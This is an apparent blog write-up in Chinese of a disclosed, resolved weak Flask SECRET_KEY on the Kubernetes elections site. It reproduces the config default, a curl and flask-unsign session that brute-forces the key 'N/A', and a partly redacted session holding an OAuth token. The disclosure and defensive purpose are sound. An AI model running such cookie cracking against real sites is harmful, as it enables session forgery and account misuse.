Kubernetes选举网站会话密钥安全漏洞分析

本文详细分析了Kubernetes选举网站elections.k8s.io存在的Flask弱会话密钥安全漏洞,包括漏洞发现过程、技术原理、验证方法以及潜在的安全风险影响评估。

Kubernetes选举网站使用弱会话密钥可能危及选举安全

漏洞概述

安全研究人员ian通过其开发的CookieMonster工具发现,Kubernetes的选举网站elections.k8s.io使用了弱Flask SECRET_KEY。该密钥被设置为简单的字符串"N/A",用于签署身份验证cookie。

技术细节

漏洞发现

许多应用程序使用无状态cookie来保存会话信息(例如谁已登录),但很多应用程序未能正确保护这些信息。研究人员发现elections.k8s.io使用了弱Flask SECRET_KEY来签署身份验证cookie。

源代码证据

从Elekto源代码中可以看到相关警告:

1
2
3
4
5
# Encryption Key
#
# This is used by the Flask server and should be set to a random character
# string, please do not deploy before doing this!.
SECRET_KEY = env('APP_KEY', 'test')

漏洞验证

使用Flask-Unsign工具可以验证此漏洞:

1
2
3
4
5
6
7
8
9
% curl https://elections.k8s.io -Is | grep cookie
set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg; Expires=Thu, 02 Dec 2021 07:23:10 GMT; HttpOnly; Path=/

% flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
[*] Session decodes to: {'_permanent': True}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 8192 attempts
'N/A'

影响分析

弱密钥可能允许任意会话操纵。在Elekto的具体实现中,会话包含GitHub OAuth令牌而非用户ID,这使得直接获取其他用户的令牌较为困难。然而,这可能启用其他攻击方式,如结合跨站请求伪造(CSRF)与投票或身份验证流程的攻击。

会话cookie的具体结构为:

1
{'_permanent': True, 'authentication': 'gho_lhhuQuI2mXXCnTPT2N8...', 'csrf_token': '500ef973780f085ccd6090efa41a6...', 'state': 'd4U9sRlU9jMXgR....'}

处理结果

Kubernetes安全团队确认了此漏洞,但由于该工具属于社区管理工具范畴,被判定为超出漏洞赏金计划范围。尽管如此,团队仍向研究人员ian和nagli各奖励125美元奖金,并承诺修复此问题。

漏洞状态:已解决 严重程度:高危(7.5分) 弱点类型:加密问题 - 通用 奖金:250美元

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计